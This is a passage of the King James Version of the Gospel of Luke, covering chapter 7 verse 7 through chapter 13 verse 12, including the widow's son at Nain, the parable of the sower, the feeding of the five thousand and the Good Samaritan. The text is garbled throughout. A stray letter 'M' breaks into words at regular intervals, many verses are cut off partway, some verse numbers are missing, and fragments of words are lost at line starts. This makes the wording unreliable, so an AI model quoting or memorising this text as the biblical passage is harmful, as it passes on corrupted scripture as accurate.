7:7: Wherefore neither thought I myself worthy to come unto thee: but say in a word, and my servant M
7:8: For I also am a man set under authority, having under me soldiers, and I say unto one, Go, and he goeth; and to another, Come, and he cometh; and to my servant, Do this, and he doeth it.
7:9: When Jesus heard these things, he marvelled at him, and turned him about, and said unto the people that followed him, I say unto you, I have not found so great faith, no, not in Israel.
7:10: And they that were sent, returning to the house, found the servant whole that had been sick.
7:11: And it came to M
pass the day after, that he went into a city called Nain; and many of his disciples went with him, and much people.
7:12: Now when he came nigh to the gate of the city, behold, there was a dead man carried out, the only son of his mother, and she was a widow: and much people of the city was with her.
7:13: And when the Lord saw her, he had compassion on her, and said unto her, Weep not.
7:14: And he came and touched the bier: and they that bare him stood still. And he said, Young man, I say unto thee, Arise.
And he that was dead sat up, and began to speak. And he delivered him to his mother.
7:16: And there came a fear on all: and they glorified God, saying, That a great prophet is risen up among us; and, That God hath visited his people.
7:17: And this rumour of him went forth throughout all Judaea, and throughout all the region round about.
7:18: And the disciples of John shewed him of all these things.
7:19: And John calling unto him two of his disciples sent them to Jesus, saying, Art thou he that should come? or lM
7:20: When the men were come unto him, they said, John Baptist hath sent us unto thee, saying, Art thou he that should come? or look we for another?
7:21: And in that same hour he cured many of their infirmities and plagues, and of evil spirits; and unto many that were blind he gave sight.
7:22: Then Jesus answering said unto them, Go your way, and tell John what things ye have seen and heard; how that the blind see, the lame walk, the lepers are cleansed, the deaf hear, the dead are raised, to M
the poor the gospel is preached.
7:23: And blessed is he, whosoever shall not be offended in me.
7:24: And when the messengers of John were departed, he began to speak unto the people concerning John, What went ye out into the wilderness for to see? A reed shaken with the wind?
7:25: But what went ye out for to see? A man clothed in soft raiment? Behold, they which are gorgeously apparelled, and live delicately, are in kings' courts.
7:26: But what went ye out for to see? A prophet? Yea, I say unto you, and much moM
7:27: This is he, of whom it is written, Behold, I send my messenger before thy face, which shall prepare thy way before thee.
7:28: For I say unto you, Among those that are born of women there is not a greater prophet than John the Baptist: but he that is least in the kingdom of God is greater than he.
7:29: And all the people that heard him, and the publicans, justified God, being baptized with the baptism of John.
7:30: But the Pharisees and lawyers rejected the counsel of God against themselvM
es, being not baptized of him.
7:31: And the Lord said, Whereunto then shall I liken the men of this generation? and to what are they like?
7:32: They are like unto children sitting in the marketplace, and calling one to another, and saying, We have piped unto you, and ye have not danced; we have mourned to you, and ye have not wept.
7:33: For John the Baptist came neither eating bread nor drinking wine; and ye say, He hath a devil.
7:34: The Son of man is come eating and drinking; and ye say, Behold a gluttonous mM
an, and a winebibber, a friend of publicans and sinners!
7:35: But wisdom is justified of all her children.
7:36: And one of the Pharisees desired him that he would eat with him. And he went into the Pharisee's house, and sat down to meat.
7:37: And, behold, a woman in the city, which was a sinner, when she knew that Jesus sat at meat in the Pharisee's house, brought an alabaster box of ointment,
7:38: And stood at his feet behind him weeping, and began to wash his feet with tears, and did wipe them with the hairs M
of her head, and kissed his feet, and anointed them with the ointment.
7:39: Now when the Pharisee which had bidden him saw it, he spake within himself, saying, This man, if he were a prophet, would have known who and what manner of woman this is that toucheth him: for she is a sinner.
7:40: And Jesus answering said unto him, Simon, I have somewhat to say unto thee. And he saith, Master, say on.
7:41: There was a certain creditor which had two debtors: the one owed five hundred pence, and the other fifty.
 when they had nothing to pay, he frankly forgave them both. Tell me therefore, which of them will love him most?
7:43: Simon answered and said, I suppose that he, to whom he forgave most. And he said unto him, Thou hast rightly judged.
7:44: And he turned to the woman, and said unto Simon, Seest thou this woman? I entered into thine house, thou gavest me no water for my feet: but she hath washed my feet with tears, and wiped them with the hairs of her head.
7:45: Thou gavest me no kiss: but this woman since the tiM
me I came in hath not ceased to kiss my feet.
7:46: My head with oil thou didst not anoint: but this woman hath anointed my feet with ointment.
7:47: Wherefore I say unto thee, Her sins, which are many, are forgiven; for she loved much: but to whom little is forgiven, the same loveth little.
7:48: And he said unto her, Thy sins are forgiven.
7:49: And they that sat at meat with him began to say within themselves, Who is this that forgiveth sins also?
7:50: And he said to the woman, Thy faith hath saved thee; go in M
8:1: And it came to pass afterward, that he went throughout every city and village, preaching and shewing the glad tidings of the kingdom of God: and the twelve were with him,
8:2: And certain women, which had been healed of evil spirits and infirmities, Mary called Magdalene, out of whom went seven devils,
8:3: And Joanna the wife of Chuza Herod's steward, and Susanna, and many others, which ministered unto him of their substance.
8:4: And when much people were gathered together, and were come toM
 him out of every city, he spake by a parable:
8:5: A sower went out to sow his seed: and as he sowed, some fell by the way side; and it was trodden down, and the fowls of the air devoured it.
8:6: And some fell upon a rock; and as soon as it was sprung up, it withered away, because it lacked moisture.
8:7: And some fell among thorns; and the thorns sprang up with it, and choked it.
8:8: And other fell on good ground, and sprang up, and bare fruit an hundredfold. And when he had said these things, he cried, He thatM
 hath ears to hear, let him hear.
8:9: And his disciples asked him, saying, What might this parable be?
8:10: And he said, Unto you it is given to know the mysteries of the kingdom of God: but to others in parables; that seeing they might not see, and hearing they might not understand.
8:11: Now the parable is this: The seed is the word of God.
8:12: Those by the way side are they that hear; then cometh the devil, and taketh away the word out of their hearts, lest they should believe and be saved.
 rock are they, which, when they hear, receive the word with joy; and these have no root, which for a while believe, and in time of temptation fall away.
8:14: And that which fell among thorns are they, which, when they have heard, go forth, and are choked with cares and riches and pleasures of this life, and bring no fruit to perfection.
8:15: But that on the good ground are they, which in an honest and good heart, having heard the word, keep it, and bring forth fruit with patience.
8:16: No man, when he hath lighM
ted a candle, covereth it with a vessel, or putteth it under a bed; but setteth it on a candlestick, that they which enter in may see the light.
8:17: For nothing is secret, that shall not be made manifest; neither any thing hid, that shall not be known and come abroad.
8:18: Take heed therefore how ye hear: for whosoever hath, to him shall be given; and whosoever hath not, from him shall be taken even that which he seemeth to have.
8:19: Then came to him his mother and his brethren, and could not come at him for tM
8:20: And it was told him by certain which said, Thy mother and thy brethren stand without, desiring to see thee.
8:21: And he answered and said unto them, My mother and my brethren are these which hear the word of God, and do it.
8:22: Now it came to pass on a certain day, that he went into a ship with his disciples: and he said unto them, Let us go over unto the other side of the lake. And they launched forth.
8:23: But as they sailed he fell asleep: and there came down a storm of wind on the lake; and M
they were filled with water, and were in jeopardy.
8:24: And they came to him, and awoke him, saying, Master, master, we perish. Then he arose, and rebuked the wind and the raging of the water: and they ceased, and there was a calm.
8:25: And he said unto them, Where is your faith? And they being afraid wondered, saying one to another, What manner of man is this! for he commandeth even the winds and water, and they obey him.
8:26: And they arrived at the country of the Gadarenes, which is over against Galilee.
: And when he went forth to land, there met him out of the city a certain man, which had devils long time, and ware no clothes, neither abode in any house, but in the tombs.
8:28: When he saw Jesus, he cried out, and fell down before him, and with a loud voice said, What have I to do with thee, Jesus, thou Son of God most high? I beseech thee, torment me not.
8:29: (For he had commanded the unclean spirit to come out of the man. For oftentimes it had caught him: and he was kept bound with chains and in fetters; andM
 he brake the bands, and was driven of the devil into the wilderness.)
8:30: And Jesus asked him, saying, What is thy name? And he said, Legion: because many devils were entered into him.
8:31: And they besought him that he would not command them to go out into the deep.
8:32: And there was there an herd of many swine feeding on the mountain: and they besought him that he would suffer them to enter into them. And he suffered them.
8:33: Then went the devils out of the man, and entered into the swine: and the herd rM
an violently down a steep place into the lake, and were choked.
8:34: When they that fed them saw what was done, they fled, and went and told it in the city and in the country.
8:35: Then they went out to see what was done; and came to Jesus, and found the man, out of whom the devils were departed, sitting at the feet of Jesus, clothed, and in his right mind: and they were afraid.
8:36: They also which saw it told them by what means he that was possessed of the devils was healed.
8:37: Then the whole multitude of tM
he country of the Gadarenes round about besought him to depart from them; for they were taken with great fear: and he went up into the ship, and returned back again.
8:38: Now the man out of whom the devils were departed besought him that he might be with him: but Jesus sent him away, saying,
8:39: Return to thine own house, and shew how great things God hath done unto thee. And he went his way, and published throughout the whole city how great things Jesus had done unto him.
8:40: And it came to pass, that, when JM
esus was returned, the people gladly received him: for they were all waiting for him.
8:41: And, behold, there came a man named Jairus, and he was a ruler of the synagogue: and he fell down at Jesus' feet, and besought him that he would come into his house:
8:42: For he had one only daughter, about twelve years of age, and she lay a dying. But as he went the people thronged him.
8:43: And a woman having an issue of blood twelve years, which had spent all her living upon physicians, neither could be healed of any,
:44: Came behind him, and touched the border of his garment: and immediately her issue of blood stanched.
8:45: And Jesus said, Who touched me? When all denied, Peter and they that were with him said, Master, the multitude throng thee and press thee, and sayest thou, Who touched me?
8:46: And Jesus said, Somebody hath touched me: for I perceive that virtue is gone out of me.
8:47: And when the woman saw that she was not hid, she came trembling, and falling down before him, she declared unto him before all the peoplM
e for what cause she had touched him, and how she was healed immediately.
8:48: And he said unto her, Daughter, be of good comfort: thy faith hath made thee whole; go in peace.
8:49: While he yet spake, there cometh one from the ruler of the synagogue's house, saying to him, Thy daughter is dead; trouble not the Master.
8:50: But when Jesus heard it, he answered him, saying, Fear not: believe only, and she shall be made whole.
8:51: And when he came into the house, he suffered no man to go in, save Peter, and JamesM
, and John, and the father and the mother of the maiden.
8:52: And all wept, and bewailed her: but he said, Weep not; she is not dead, but sleepeth.
8:53: And they laughed him to scorn, knowing that she was dead.
8:54: And he put them all out, and took her by the hand, and called, saying, Maid, arise.
8:55: And her spirit came again, and she arose straightway: and he commanded to give her meat.
8:56: And her parents were astonished: but he charged them that they should tell no man what was done.
n he called his twelve disciples together, and gave them power and authority over all devils, and to cure diseases.
9:2: And he sent them to preach the kingdom of God, and to heal the sick.
9:3: And he said unto them, Take nothing for your journey, neither staves, nor scrip, neither bread, neither money; neither have two coats apiece.
9:4: And whatsoever house ye enter into, there abide, and thence depart.
9:5: And whosoever will not receive you, when ye go out of that city, shake off the very dust from your feet fM
or a testimony against them.
9:6: And they departed, and went through the towns, preaching the gospel, and healing every where.
9:7: Now Herod the tetrarch heard of all that was done by him: and he was perplexed, because that it was said of some, that John was risen from the dead;
9:8: And of some, that Elias had appeared; and of others, that one of the old prophets was risen again.
9:9: And Herod said, John have I beheaded: but who is this, of whom I hear such things? And he desired to see him.
9:10: And the apostM
les, when they were returned, told him all that they had done. And he took them, and went aside privately into a desert place belonging to the city called Bethsaida.
9:11: And the people, when they knew it, followed him: and he received them, and spake unto them of the kingdom of God, and healed them that had need of healing.
9:12: And when the day began to wear away, then came the twelve, and said unto him, Send the multitude away, that they may go into the towns and country round about, and lodge, and get victualM
s: for we are here in a desert place.
9:13: But he said unto them, Give ye them to eat. And they said, We have no more but five loaves and two fishes; except we should go and buy meat for all this people.
9:14: For they were about five thousand men. And he said to his disciples, Make them sit down by fifties in a company.
9:15: And they did so, and made them all sit down.
9:16: Then he took the five loaves and the two fishes, and looking up to heaven, he blessed them, and brake, and gave to the disciples to set befM
9:17: And they did eat, and were all filled: and there was taken up of fragments that remained to them twelve baskets.
9:18: And it came to pass, as he was alone praying, his disciples were with him: and he asked them, saying, Whom say the people that I am?
9:19: They answering said, John the Baptist; but some say, Elias; and others say, that one of the old prophets is risen again.
9:20: He said unto them, But whom say ye that I am? Peter answering said, The Christ of God.
9:21: And he straitly cM
harged them, and commanded them to tell no man that thing;
9:22: Saying, The Son of man must suffer many things, and be rejected of the elders and chief priests and scribes, and be slain, and be raised the third day.
9:23: And he said to them all, If any man will come after me, let him deny himself, and take up his cross daily, and follow me.
9:24: For whosoever will save his life shall lose it: but whosoever will lose his life for my sake, the same shall save it.
9:25: For what is a man advantaged, if he gain the M
whole world, and lose himself, or be cast away?
9:26: For whosoever shall be ashamed of me and of my words, of him shall the Son of man be ashamed, when he shall come in his own glory, and in his Father's, and of the holy angels.
9:27: But I tell you of a truth, there be some standing here, which shall not taste of death, till they see the kingdom of God.
9:28: And it came to pass about an eight days after these sayings, he took Peter and John and James, and went up into a mountain to pray.
9:29: And as he prayed, M
the fashion of his countenance was altered, and his raiment was white and glistering.
9:30: And, behold, there talked with him two men, which were Moses and Elias:
9:31: Who appeared in glory, and spake of his decease which he should accomplish at Jerusalem.
9:32: But Peter and they that were with him were heavy with sleep: and when they were awake, they saw his glory, and the two men that stood with him.
9:33: And it came to pass, as they departed from him, Peter said unto Jesus, Master, it is good for us to be heM
re: and let us make three tabernacles; one for thee, and one for Moses, and one for Elias: not knowing what he said.
9:34: While he thus spake, there came a cloud, and overshadowed them: and they feared as they entered into the cloud.
9:35: And there came a voice out of the cloud, saying, This is my beloved Son: hear him.
9:36: And when the voice was past, Jesus was found alone. And they kept it close, and told no man in those days any of those things which they had seen.
9:37: And it came to pass, that on the nextM
 day, when they were come down from the hill, much people met him.
9:38: And, behold, a man of the company cried out, saying, Master, I beseech thee, look upon my son: for he is mine only child.
9:39: And, lo, a spirit taketh him, and he suddenly crieth out; and it teareth him that he foameth again, and bruising him hardly departeth from him.
9:40: And I besought thy disciples to cast him out; and they could not.
9:41: And Jesus answering said, O faithless and perverse generation, how long shall I be with you, and M
suffer you? Bring thy son hither.
9:42: And as he was yet a coming, the devil threw him down, and tare him. And Jesus rebuked the unclean spirit, and healed the child, and delivered him again to his father.
9:43: And they were all amazed at the mighty power of God. But while they wondered every one at all things which Jesus did, he said unto his disciples,
9:44: Let these sayings sink down into your ears: for the Son of man shall be delivered into the hands of men.
9:45: But they understood not this saying, and it M
was hid from them, that they perceived it not: and they feared to ask him of that saying.
9:46: Then there arose a reasoning among them, which of them should be greatest.
9:47: And Jesus, perceiving the thought of their heart, took a child, and set him by him,
9:48: And said unto them, Whosoever shall receive this child in my name receiveth me: and whosoever shall receive me receiveth him that sent me: for he that is least among you all, the same shall be great.
9:49: And John answered and said, Master, we saw one M
casting out devils in thy name; and we forbad him, because he followeth not with us.
9:50: And Jesus said unto him, Forbid him not: for he that is not against us is for us.
9:51: And it came to pass, when the time was come that he should be received up, he stedfastly set his face to go to Jerusalem,
9:52: And sent messengers before his face: and they went, and entered into a village of the Samaritans, to make ready for him.
9:53: And they did not receive him, because his face was as though he would go to Jerusalem.M
9:54: And when his disciples James and John saw this, they said, Lord, wilt thou that we command fire to come down from heaven, and consume them, even as Elias did?
9:55: But he turned, and rebuked them, and said, Ye know not what manner of spirit ye are of.
9:56: For the Son of man is not come to destroy men's lives, but to save them. And they went to another village.
9:57: And it came to pass, that, as they went in the way, a certain man said unto him, Lord, I will follow thee whithersoever thou goest.
 Jesus said unto him, Foxes have holes, and birds of the air have nests; but the Son of man hath not where to lay his head.
9:59: And he said unto another, Follow me. But he said, Lord, suffer me first to go and bury my father.
9:60: Jesus said unto him, Let the dead bury their dead: but go thou and preach the kingdom of God.
9:61: And another also said, Lord, I will follow thee; but let me first go bid them farewell, which are at home at my house.
9:62: And Jesus said unto him, No man, having put his hand to the pM
lough, and looking back, is fit for the kingdom of God.
10:1: After these things the Lord appointed other seventy also, and sent them two and two before his face into every city and place, whither he himself would come.
10:2: Therefore said he unto them, The harvest truly is great, but the labourers are few: pray ye therefore the Lord of the harvest, that he would send forth labourers into his harvest.
10:3: Go your ways: behold, I send you forth as lambs among wolves.
10:4: Carry neither purse, nor scrM
ip, nor shoes: and salute no man by the way.
10:5: And into whatsoever house ye enter, first say, Peace be to this house.
10:6: And if the son of peace be there, your peace shall rest upon it: if not, it shall turn to you again.
10:7: And in the same house remain, eating and drinking such things as they give: for the labourer is worthy of his hire. Go not from house to house.
10:8: And into whatsoever city ye enter, and they receive you, eat such things as are set before you:
10:9: And heal the sick that are thereiM
n, and say unto them, The kingdom of God is come nigh unto you.
10:10: But into whatsoever city ye enter, and they receive you not, go your ways out into the streets of the same, and say,
10:11: Even the very dust of your city, which cleaveth on us, we do wipe off against you: notwithstanding be ye sure of this, that the kingdom of God is come nigh unto you.
10:12: But I say unto you, that it shall be more tolerable in that day for Sodom, than for that city.
10:13: Woe unto thee, Chorazin! woe unto thee, Bethsaida!M
 for if the mighty works had been done in Tyre and Sidon, which have been done in you, they had a great while ago repented, sitting in sackcloth and ashes.
10:14: But it shall be more tolerable for Tyre and Sidon at the judgment, than for you.
10:15: And thou, Capernaum, which art exalted to heaven, shalt be thrust down to hell.
10:16: He that heareth you heareth me; and he that despiseth you despiseth me; and he that despiseth me despiseth him that sent me.
10:17: And the seventy returned again with joy, saying, LM
ord, even the devils are subject unto us through thy name.
10:18: And he said unto them, I beheld Satan as lightning fall from heaven.
10:19: Behold, I give unto you power to tread on serpents and scorpions, and over all the power of the enemy: and nothing shall by any means hurt you.
10:20: Notwithstanding in this rejoice not, that the spirits are subject unto you; but rather rejoice, because your names are written in heaven.
10:21: In that hour Jesus rejoiced in spirit, and said, I thank thee, O Father, Lord of hM
eaven and earth, that thou hast hid these things from the wise and prudent, and hast revealed them unto babes: even so, Father; for so it seemed good in thy sight.
10:22: All things are delivered to me of my Father: and no man knoweth who the Son is, but the Father; and who the Father is, but the Son, and he to whom the Son will reveal him.
10:23: And he turned him unto his disciples, and said privately, Blessed are the eyes which see the things that ye see:
10:24: For I tell you, that many prophets and kings have M
desired to see those things which ye see, and have not seen them; and to hear those things which ye hear, and have not heard them.
10:25: And, behold, a certain lawyer stood up, and tempted him, saying, Master, what shall I do to inherit eternal life?
10:26: He said unto him, What is written in the law? how readest thou?
10:27: And he answering said, Thou shalt love the Lord thy God with all thy heart, and with all thy soul, and with all thy strength, and with all thy mind; and thy neighbour as thyself.
he said unto him, Thou hast answered right: this do, and thou shalt live.
10:29: But he, willing to justify himself, said unto Jesus, And who is my neighbour?
10:30: And Jesus answering said, A certain man went down from Jerusalem to Jericho, and fell among thieves, which stripped him of his raiment, and wounded him, and departed, leaving him half dead.
10:31: And by chance there came down a certain priest that way: and when he saw him, he passed by on the other side.
10:32: And likewise a Levite, when he was at thM
e place, came and looked on him, and passed by on the other side.
10:33: But a certain Samaritan, as he journeyed, came where he was: and when he saw him, he had compassion on him,
10:34: And went to him, and bound up his wounds, pouring in oil and wine, and set him on his own beast, and brought him to an inn, and took care of him.
10:35: And on the morrow when he departed, he took out two pence, and gave them to the host, and said unto him, Take care of him; and whatsoever thou spendest more, when I come again, I M
10:36: Which now of these three, thinkest thou, was neighbour unto him that fell among the thieves?
10:37: And he said, He that shewed mercy on him. Then said Jesus unto him, Go, and do thou likewise.
10:38: Now it came to pass, as they went, that he entered into a certain village: and a certain woman named Martha received him into her house.
10:39: And she had a sister called Mary, which also sat at Jesus' feet, and heard his word.
10:40: But Martha was cumbered about much serving, and came to himM
, and said, Lord, dost thou not care that my sister hath left me to serve alone? bid her therefore that she help me.
10:41: And Jesus answered and said unto her, Martha, Martha, thou art careful and troubled about many things:
10:42: But one thing is needful: and Mary hath chosen that good part, which shall not be taken away from her.
11:1: And it came to pass, that, as he was praying in a certain place, when he ceased, one of his disciples said unto him, Lord, teach us to pray, as John also taught his M
11:2: And he said unto them, When ye pray, say, Our Father which art in heaven, Hallowed be thy name. Thy kingdom come. Thy will be done, as in heaven, so in earth.
11:3: Give us day by day our daily bread.
11:4: And forgive us our sins; for we also forgive every one that is indebted to us. And lead us not into temptation; but deliver us from evil.
11:5: And he said unto them, Which of you shall have a friend, and shall go unto him at midnight, and say unto him, Friend, lend me three loaves;
friend of mine in his journey is come to me, and I have nothing to set before him?
11:7: And he from within shall answer and say, Trouble me not: the door is now shut, and my children are with me in bed; I cannot rise and give thee.
11:8: I say unto you, Though he will not rise and give him, because he is his friend, yet because of his importunity he will rise and give him as many as he needeth.
11:9: And I say unto you, Ask, and it shall be given you; seek, and ye shall find; knock, and it shall be opened unto youM
11:10: For every one that asketh receiveth; and he that seeketh findeth; and to him that knocketh it shall be opened.
11:11: If a son shall ask bread of any of you that is a father, will he give him a stone? or if he ask a fish, will he for a fish give him a serpent?
11:12: Or if he shall ask an egg, will he offer him a scorpion?
11:13: If ye then, being evil, know how to give good gifts unto your children: how much more shall your heavenly Father give the Holy Spirit to them that ask him?
11:14: And he was castiM
ng out a devil, and it was dumb. And it came to pass, when the devil was gone out, the dumb spake; and the people wondered.
11:15: But some of them said, He casteth out devils through Beelzebub the chief of the devils.
11:16: And others, tempting him, sought of him a sign from heaven.
11:17: But he, knowing their thoughts, said unto them, Every kingdom divided against itself is brought to desolation; and a house divided against a house falleth.
11:18: If Satan also be divided against himself, how shall his kingdom M
stand? because ye say that I cast out devils through Beelzebub.
11:19: And if I by Beelzebub cast out devils, by whom do your sons cast them out? therefore shall they be your judges.
11:20: But if I with the finger of God cast out devils, no doubt the kingdom of God is come upon you.
11:21: When a strong man armed keepeth his palace, his goods are in peace:
11:22: But when a stronger than he shall come upon him, and overcome him, he taketh from him all his armour wherein he trusted, and divideth his spoils.
He that is not with me is against me: and he that gathereth not with me scattereth.
11:24: When the unclean spirit is gone out of a man, he walketh through dry places, seeking rest; and finding none, he saith, I will return unto my house whence I came out.
11:25: And when he cometh, he findeth it swept and garnished.
11:26: Then goeth he, and taketh to him seven other spirits more wicked than himself; and they enter in, and dwell there: and the last state of that man is worse than the first.
11:27: And it came to pM
ass, as he spake these things, a certain woman of the company lifted up her voice, and said unto him, Blessed is the womb that bare thee, and the paps which thou hast sucked.
11:28: But he said, Yea rather, blessed are they that hear the word of God, and keep it.
11:29: And when the people were gathered thick together, he began to say, This is an evil generation: they seek a sign; and there shall no sign be given it, but the sign of Jonas the prophet.
11:30: For as Jonas was a sign unto the Ninevites, so shall alsoM
 the Son of man be to this generation.
11:31: The queen of the south shall rise up in the judgment with the men of this generation, and condemn them: for she came from the utmost parts of the earth to hear the wisdom of Solomon; and, behold, a greater than Solomon is here.
11:32: The men of Nineve shall rise up in the judgment with this generation, and shall condemn it: for they repented at the preaching of Jonas; and, behold, a greater than Jonas is here.
11:33: No man, when he hath lighted a candle, putteth it inM
 a secret place, neither under a bushel, but on a candlestick, that they which come in may see the light.
11:34: The light of the body is the eye: therefore when thine eye is single, thy whole body also is full of light; but when thine eye is evil, thy body also is full of darkness.
11:35: Take heed therefore that the light which is in thee be not darkness.
11:36: If thy whole body therefore be full of light, having no part dark, the whole shall be full of light, as when the bright shining of a candle doth give theM
11:37: And as he spake, a certain Pharisee besought him to dine with him: and he went in, and sat down to meat.
11:38: And when the Pharisee saw it, he marvelled that he had not first washed before dinner.
11:39: And the Lord said unto him, Now do ye Pharisees make clean the outside of the cup and the platter; but your inward part is full of ravening and wickedness.
11:40: Ye fools, did not he that made that which is without make that which is within also?
11:41: But rather give alms of such things as ye hM
ave; and, behold, all things are clean unto you.
11:42: But woe unto you, Pharisees! for ye tithe mint and rue and all manner of herbs, and pass over judgment and the love of God: these ought ye to have done, and not to leave the other undone.
11:43: Woe unto you, Pharisees! for ye love the uppermost seats in the synagogues, and greetings in the markets.
11:44: Woe unto you, scribes and Pharisees, hypocrites! for ye are as graves which appear not, and the men that walk over them are not aware of them.
nswered one of the lawyers, and said unto him, Master, thus saying thou reproachest us also.
11:46: And he said, Woe unto you also, ye lawyers! for ye lade men with burdens grievous to be borne, and ye yourselves touch not the burdens with one of your fingers.
11:47: Woe unto you! for ye build the sepulchres of the prophets, and your fathers killed them.
11:48: Truly ye bear witness that ye allow the deeds of your fathers: for they indeed killed them, and ye build their sepulchres.
11:49: Therefore also said the wiM
sdom of God, I will send them prophets and apostles, and some of them they shall slay and persecute:
11:50: That the blood of all the prophets, which was shed from the foundation of the world, may be required of this generation;
11:51: From the blood of Abel unto the blood of Zacharias, which perished between the altar and the temple: verily I say unto you, It shall be required of this generation.
11:52: Woe unto you, lawyers! for ye have taken away the key of knowledge: ye entered not in yourselves, and them that M
were entering in ye hindered.
11:53: And as he said these things unto them, the scribes and the Pharisees began to urge him vehemently, and to provoke him to speak of many things:
11:54: Laying wait for him, and seeking to catch something out of his mouth, that they might accuse him.
12:1: In the mean time, when there were gathered together an innumerable multitude of people, insomuch that they trode one upon another, he began to say unto his disciples first of all, Beware ye of the leaven of the PharisM
ees, which is hypocrisy.
12:2: For there is nothing covered, that shall not be revealed; neither hid, that shall not be known.
12:3: Therefore whatsoever ye have spoken in darkness shall be heard in the light; and that which ye have spoken in the ear in closets shall be proclaimed upon the housetops.
12:4: And I say unto you my friends, Be not afraid of them that kill the body, and after that have no more that they can do.
12:5: But I will forewarn you whom ye shall fear: Fear him, which after he hath killed hath pM
ower to cast into hell; yea, I say unto you, Fear him.
12:6: Are not five sparrows sold for two farthings, and not one of them is forgotten before God?
12:7: But even the very hairs of your head are all numbered. Fear not therefore: ye are of more value than many sparrows.
12:8: Also I say unto you, Whosoever shall confess me before men, him shall the Son of man also confess before the angels of God:
12:9: But he that denieth me before men shall be denied before the angels of God.
12:10: And whosoever shall speak aM
 word against the Son of man, it shall be forgiven him: but unto him that blasphemeth against the Holy Ghost it shall not be forgiven.
12:11: And when they bring you unto the synagogues, and unto magistrates, and powers, take ye no thought how or what thing ye shall answer, or what ye shall say:
12:12: For the Holy Ghost shall teach you in the same hour what ye ought to say.
12:13: And one of the company said unto him, Master, speak to my brother, that he divide the inheritance with me.
12:14: And he said unto him,M
 Man, who made me a judge or a divider over you?
12:15: And he said unto them, Take heed, and beware of covetousness: for a man's life consisteth not in the abundance of the things which he possesseth.
12:16: And he spake a parable unto them, saying, The ground of a certain rich man brought forth plentifully:
12:17: And he thought within himself, saying, What shall I do, because I have no room where to bestow my fruits?
12:18: And he said, This will I do: I will pull down my barns, and build greater; and there willM
 I bestow all my fruits and my goods.
12:19: And I will say to my soul, Soul, thou hast much goods laid up for many years; take thine ease, eat, drink, and be merry.
12:20: But God said unto him, Thou fool, this night thy soul shall be required of thee: then whose shall those things be, which thou hast provided?
12:21: So is he that layeth up treasure for himself, and is not rich toward God.
12:22: And he said unto his disciples, Therefore I say unto you, Take no thought for your life, what ye shall eat; neither foM
r the body, what ye shall put on.
12:23: The life is more than meat, and the body is more than raiment.
12:24: Consider the ravens: for they neither sow nor reap; which neither have storehouse nor barn; and God feedeth them: how much more are ye better than the fowls?
12:25: And which of you with taking thought can add to his stature one cubit?
12:26: If ye then be not able to do that thing which is least, why take ye thought for the rest?
12:27: Consider the lilies how they grow: they toil not, they spin not; and M
yet I say unto you, that Solomon in all his glory was not arrayed like one of these.
12:28: If then God so clothe the grass, which is to day in the field, and to morrow is cast into the oven; how much more will he clothe you, O ye of little faith?
12:29: And seek not ye what ye shall eat, or what ye shall drink, neither be ye of doubtful mind.
12:30: For all these things do the nations of the world seek after: and your Father knoweth that ye have need of these things.
12:31: But rather seek ye the kingdom of God; aM
nd all these things shall be added unto you.
12:32: Fear not, little flock; for it is your Father's good pleasure to give you the kingdom.
12:33: Sell that ye have, and give alms; provide yourselves bags which wax not old, a treasure in the heavens that faileth not, where no thief approacheth, neither moth corrupteth.
12:34: For where your treasure is, there will your heart be also.
12:35: Let your loins be girded about, and your lights burning;
12:36: And ye yourselves like unto men that wait for their lord, when M
he will return from the wedding; that when he cometh and knocketh, they may open unto him immediately.
12:37: Blessed are those servants, whom the lord when he cometh shall find watching: verily I say unto you, that he shall gird himself, and make them to sit down to meat, and will come forth and serve them.
12:38: And if he shall come in the second watch, or come in the third watch, and find them so, blessed are those servants.
12:39: And this know, that if the goodman of the house had known what hour the thief woM
uld come, he would have watched, and not have suffered his house to be broken through.
12:40: Be ye therefore ready also: for the Son of man cometh at an hour when ye think not.
12:41: Then Peter said unto him, Lord, speakest thou this parable unto us, or even to all?
12:42: And the Lord said, Who then is that faithful and wise steward, whom his lord shall make ruler over his household, to give them their portion of meat in due season?
12:43: Blessed is that servant, whom his lord when he cometh shall find so doingM
12:44: Of a truth I say unto you, that he will make him ruler over all that he hath.
12:45: But and if that servant say in his heart, My lord delayeth his coming; and shall begin to beat the menservants and maidens, and to eat and drink, and to be drunken;
12:46: The lord of that servant will come in a day when he looketh not for him, and at an hour when he is not aware, and will cut him in sunder, and will appoint him his portion with the unbelievers.
12:47: And that servant, which knew his lord's will, and prepM
ared not himself, neither did according to his will, shall be beaten with many stripes.
12:48: But he that knew not, and did commit things worthy of stripes, shall be beaten with few stripes. For unto whomsoever much is given, of him shall be much required: and to whom men have committed much, of him they will ask the more.
12:49: I am come to send fire on the earth; and what will I, if it be already kindled?
12:50: But I have a baptism to be baptized with; and how am I straitened till it be accomplished!
ppose ye that I am come to give peace on earth? I tell you, Nay; but rather division:
12:52: For from henceforth there shall be five in one house divided, three against two, and two against three.
12:53: The father shall be divided against the son, and the son against the father; the mother against the daughter, and the daughter against the mother; the mother in law against her daughter in law, and the daughter in law against her mother in law.
12:54: And he said also to the people, When ye see a cloud rise out of M
the west, straightway ye say, There cometh a shower; and so it is.
12:55: And when ye see the south wind blow, ye say, There will be heat; and it cometh to pass.
12:56: Ye hypocrites, ye can discern the face of the sky and of the earth; but how is it that ye do not discern this time?
12:57: Yea, and why even of yourselves judge ye not what is right?
12:58: When thou goest with thine adversary to the magistrate, as thou art in the way, give diligence that thou mayest be delivered from him; lest he hale thee to the jM
udge, and the judge deliver thee to the officer, and the officer cast thee into prison.
12:59: I tell thee, thou shalt not depart thence, till thou hast paid the very last mite.
13:1: There were present at that season some that told him of the Galilaeans, whose blood Pilate had mingled with their sacrifices.
13:2: And Jesus answering said unto them, Suppose ye that these Galilaeans were sinners above all the Galilaeans, because they suffered such things?
13:3: I tell you, Nay: but, except ye repent, ye M
shall all likewise perish.
13:4: Or those eighteen, upon whom the tower in Siloam fell, and slew them, think ye that they were sinners above all men that dwelt in Jerusalem?
13:5: I tell you, Nay: but, except ye repent, ye shall all likewise perish.
13:6: He spake also this parable; A certain man had a fig tree planted in his vineyard; and he came and sought fruit thereon, and found none.
13:7: Then said he unto the dresser of his vineyard, Behold, these three years I come seeking fruit on this fig tree, and find nM
one: cut it down; why cumbereth it the ground?
13:8: And he answering said unto him, Lord, let it alone this year also, till I shall dig about it, and dung it:
13:9: And if it bear fruit, well: and if not, then after that thou shalt cut it down.
13:10: And he was teaching in one of the synagogues on the sabbath.
13:11: And, behold, there was a woman which had a spirit of infirmity eighteen years, and was bowed together, and could in no wise lift up herself.
13:12: And when Jesus saw her, he called her to him, and sM
aid unto her, Woman, thou art loosed from thine infirmity.
